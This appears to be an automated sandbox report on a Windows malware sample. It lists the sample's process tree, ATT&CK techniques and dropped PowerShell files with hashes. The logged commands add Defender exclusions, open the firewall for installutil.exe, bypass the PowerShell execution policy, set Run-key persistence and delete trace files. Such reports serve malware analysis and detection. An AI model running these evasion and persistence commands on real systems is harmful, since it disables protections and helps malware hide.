      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi3dcc.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4404
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3104
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui3db1.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2268
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3344
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui3dcc.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4840
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1896
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\jkxpr.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1824
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2052
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\teste.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4200
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3652
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vzykb.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3212
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4900
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wnvrf_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4352
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe $S = 'C:\Windows' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe $S = 'C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\daeuk.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:580
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ziiac.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4040
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2476
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" "installutil.exe" ENABLE
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:3104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\txrjo.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:1292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:1964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:3520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1440
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails.js"
        6⤵
        
        PID:3100

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" ..
1⤵
- System Location Discovery: System Language Discovery
PID:2668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

daeuk.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\daeuk.ps1
Size 421B
SHA256 32572b8b8f960c3edd4675f62f63233d0c9e7279fc007226addc1e8fb27aa0b2
MD5 f3b92858eb1f54ff9c477f2c24a2865d
SHA1 0a1f7276b33a5de22dfe53c6a455affd51080266
SHA512 f36193d7a398afe5b38471eaad5a2e831479e86cf98497cb085de91820c12ce54dfd6ab9ea2e3d5ad66707b6a863f3fc93f2fc0f30c550078bec2cffc6041c4f
MD5 SHA1 SHA512

Submit Download

txrjo.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\txrjo.ps1
Size 323B
SHA256 b6d392e12fdf48fe25c04a304152d001086fa6ce99d8b7a707eeec2595993cb5
MD5 1f4ab3c493d586e93af732739b92e8a1
SHA1 221399ccdca7723e8b44600e172f3d3762bbc3e8
SHA512 e33c67375ac31acce4731ed1e8b95e7a50c076a754b30bac3ff912744db8a786bb976d174673ab510abdf85a0814a1ca8834b81c9e963d1a8da004029f033d8d
MD5 SHA1 SHA512

Submit Download

uihbb.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uihbb.ps1
Size 426B
SHA256 cd4bf56ee69d5404c2bf80c25894beb613b446703d18ac3ec660b6828d4ae145
MD5 39653f309fbc05f1da35404495001e4c
SHA1 28f7b228f0730f48ac0124091113962d5cc22d27
SHA512 a2ae4e5672c31ae7b4549ecd77f72cf632be8c1252bdc053c92381321a4fb07c92bc05236dbb7fde7c0d4a94b7e5ea0f6e454eb165176a0ec0630ec022e9226c
MD5 SHA1 SHA512

Submit Download

ziiac.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ziiac.ps1
Size 306KB
SHA256 e3bcd8daa0366806530ddb476ede855eb672706656a19d4848f283f0e0711775
MD5 f5dee43136a52331dc4e798691d14ed7
SHA1 b573d1f274f156d88a2b163d79bdf1cca388c3bf
SHA512 dcd649a771642e2586dab4ac004897daed3c5e8024cae25c1beff5f5bde1cd40a8796f6bf4f2a87fd25d7a250604976d2b62da5f6fb027171512a01509e857fd
SSDEEP 3072:MNLv4GKjMhk29Ll0jQkEgz9goasMMhfZjUlRDgmuNX0anqX+2Fd0BC3R25Hdh8wo:a
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
SSDEEP 1536:LflJdDiFHzdytYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd6YLYkzvHgfKQNUpeE711kz
MD5 SHA1 SHA512 SSDEEP

Submit Download